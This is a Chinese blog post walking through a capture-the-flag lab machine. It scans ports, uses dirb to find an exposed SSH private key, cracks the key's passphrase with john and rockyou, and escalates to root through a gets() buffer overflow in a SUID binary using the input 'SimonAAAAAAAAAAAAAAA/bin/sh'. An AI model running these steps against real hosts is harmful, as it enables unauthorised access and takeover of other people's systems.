第一步, nmap -sV 192.168.0.1 扫描 服务信息
找到已经打开的端口。
第二步, 浏览器 192.168.0.1:31337 探看页面源代码。
找到可能的隐藏的文件。
第三步, 探测端口信息 dirb http://192.168.0.1:31337/ 别忘了最后的"/"
可以探测到隐藏的文件(浏览不到的文件)
第四步,SSH认证方式 : {‘id_rsa’,‘authorized_key’,‘id_rsa_pub’}
下载 http://192.168.0.1:31337/.ssh/id_rsa
下载 http://192.168.0.1:31337/.ssh/authorized_key
第五步, ssh -i id_rsa 用户名 (其中用户名,可从authorized_key 中获取)
chmod 600 id_rsa
ssh -i id_rsa simon@192.168.0.1
第六步, ssh2john id_rsa >rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack 获取用户密码。
第七步 ssh -i id_rsa simon 然后输入第六步中的密码。
登录至远程主机。
第八步 切换到 /root目录
查看目录(目录权限可能受限)
第九步 find / -perm 4000 2 > /dev/null
-perm 4000 表示可以有suid 权限的文件。
2>/dev/null 表示标准错误至null
readmessage 与 溢出
readmessage.c 如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
//flag2{use_the_source_luke}
int main(int argc, char *argv[]{
char program[]="/usr/local/sbin/message";
char buf[20];
char authorized[]="simon";
printf("what's your name ?\n");
gets(buf);
//Only compare first five chars to save precious cycles:
if (!strncmp(authorized,buf,5)) {
printf("Hello %s ! Here is your message:\n\n",buf);
//This is safe as the user can't mess with the binary location:
execve(program,null,null);
}else {
printf("Sorry %s,you're not %s! The Internet Police have been informed of this voilation.\n",buf,authorized);
exit(EXIT_FAILURE);
}
}
第十步,执行readmessage,用户名xxxxx
则显示完成 (此步测试一下)
readmessage
What’s your name ?
xxxxx
"Sorry xxxxx,you’re not Simon!The Internet Police have been informed of this voilation.
第十一步,执行readmessage
readmessage
What’s your name ?
Simon
Hello Simon! Here is your message:
Hi Simon, I hope you like our private messaging system
I’m really happy with how it worked out!
If you’re interested in how it works,I’ve left a copy of the source code in my home directory.
-Charlie Root
第十二步:
readmessage
What’s your name ?
SimonAAAAAAAAAAAAAAA/bin/sh
( 其中 Simon 五字符, A共有15个, 一共占 20字符,后面即溢出至program去了。
Hello SimonAAAAAAAAAAAAAAA/bin/sh! Here is your message:
至此溢出完成,已跳转为root用户。
————————————————
版权声明:本文为CSDN博主「早睡男」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_40328085/article/details/97424419